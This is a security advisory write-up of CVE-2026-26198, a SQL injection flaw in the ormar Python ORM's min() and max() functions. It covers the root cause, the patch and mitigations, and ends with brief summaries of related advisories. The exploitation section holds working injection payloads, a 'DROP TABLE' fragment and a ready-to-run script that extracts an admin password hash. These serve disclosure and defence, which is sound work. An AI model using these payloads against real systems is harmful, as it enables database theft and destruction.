Feb 24, 2026·6 min read·51 visits
Ormar versions 0.9.9 through 0.22.0 contain a critical SQL injection flaw. The library fails to validate column names passed to `min()` and `max()` functions, passing them directly to `sqlalchemy.text()`. This allows unauthenticated attackers to dump the entire database via subqueries.
A critical SQL injection vulnerability in the Ormar Python ORM allows attackers to execute arbitrary subqueries via the min() and max() aggregate functions. While numeric aggregates like sum() were validated, min/max inputs were passed directly to a raw SQL sink, bypassing sanitization.
We rely on Object-Relational Mappers (ORMs) for two main reasons: laziness and safety. We don't want to write JOIN statements by hand, and we definitely don't want to think about escaping inputs. We assume that if we use the ORM's methods—like .filter(), .count(), or .max()—the library will handle the dirty work of sanitizing data before it hits the database driver.
But sometimes, that trust is misplaced. Enter ormar, a slick, asynchronous mini-ORM for Python that plays nice with FastAPI and Starlette. It’s fast, it’s modern, and until version 0.23.0, it had a gaping hole in how it handled basic statistics.
Imagine you have a public endpoint that displays the highest price of an item in your store. You grab the query parameter field and pass it to Item.objects.max(field). You expect ormar to complain if the field doesn't exist. Instead, ormar takes whatever string you give it, wraps it in a hug, and sends it straight to the database engine. If that string happens to be (SELECT password FROM users LIMIT 1), ormar happily asks the database: "What is the maximum value of the admin's password?"
The root cause of CVE-2026-26198 is a classic case of "partial implementation." The developers actually did implement validation logic for aggregate functions, but they stopped halfway through.
In the ormar codebase, aggregate functions like sum(), avg(), min(), and max() all route through a central helper method. The logic for sum and avg is sound: these operations only make sense on numbers. If you try to sum a text column, the database throws a fit. So, the developers added a check: if the function is sum or avg, ensure the target column is numeric.
However, min() and max() are different. You can find the minimum value of a string (alphabetical order) or a date. Because these functions don't strictly require numeric types, the developers skipped the type check.
> [!WARNING] > The Fatal Mistake: They removed the type check but didn't replace it with an existence check.
Because they didn't verify that the input was actually a column defined in the model, the code proceeded to create a SelectAction with the raw user input. This input was eventually passed to sqlalchemy.text(), which tells SQLAlchemy: "Trust me, this string is safe SQL, just run it." Spoiler: It wasn't safe.
Let's look at the vulnerable code in ormar/queryset/queryset.py. This is where the decision making happens.
# Inside _query_aggr_function
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]:
# This protects sum and avg because 'is_numeric' validation
# indirectly filters out complex SQL injection strings.
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(
"You can use sum and avg only on numeric columns"
)
# ... but if func_name is "min" or "max", we fall through here!
# The select_actions are used to build the query.The SelectAction class then takes that raw string and does the unthinkable in select_action.py:
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
# HERE IS THE INJECTION:
return sqlalchemy.text(f"{alias}{self.field_name}")By using sqlalchemy.text(), the library explicitly opts out of parameter binding for the column name. If self.field_name contains SQL syntax (like subqueries or comment characters), it gets executed.
Exploiting this is trivially easy if the application exposes the column selection to the user. An attacker doesn't need to break out of quotes because sqlalchemy.text() injects the payload as a raw expression.
Target URL: GET /api/stats?metric=max&column=<PAYLOAD>
We inject a subquery. If the database returns a result, we have code execution.
Payload:
(SELECT 1337)
Resulting SQL:
SELECT max((SELECT 1337)) FROM itemsResponse: 1337
Now we treat the max() function as a data oracle. We can dump table names from the master record.
Payload:
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table')
Here is a weaponized script to dump the admin_users table:
import httpx
TARGET = "http://vulnerable-app.com/stats"
# The injection payload targets the 'column' parameter
# We use a subquery to fetch the sensitive data.
sql_payload = "(SELECT password FROM admin_users WHERE username='admin')"
response = httpx.get(TARGET, params={
"metric": "max",
"column": sql_payload
})
print(f"[+] Admin Password Hash: {response.json()}")Because the result of the subquery is passed to max(), the database evaluates the subquery first, returns the string (the password), and max() simply returns that string to the API response. It is a highly efficient, single-shot exfiltration vector.
This vulnerability is rated CVSS 9.8 (Critical) for a reason. It requires no authentication (assuming the endpoint is public), has low complexity, and results in total compromise of the database confidentiality and integrity.
; DROP TABLE users; --.This isn't a complex memory corruption bug; it's a logic flaw in a high-level library that makes ormar applications vulnerable by default if they allow dynamic column selection.
The fix implemented in version 0.23.0 is simple but effective: Whitelisting. The library now checks if the requested column actually exists in the model's metadata before constructing the SQL query.
In ormar/queryset/queryset.py, the developers added a check that applies to all aggregate functions, not just sum and avg:
# The fix:
if any(x.field_name not in x.target_model.model_fields for x in select_actions):
raise QueryDefinitionError(
"You can use aggregate functions only on existing columns of the target model"
)ormar to version 0.23.0 immediately.?sort=price) to internal column names (e.g., item_price_usd).SELECT, FROM, or parenthesis characters ().CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
ormar collerek | >= 0.9.9, <= 0.22.0 | 0.23.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 (SQL Injection) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| Exploit Maturity | Proof of Concept (PoC) Available |
| Patch Status | Available (v0.23.0) |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.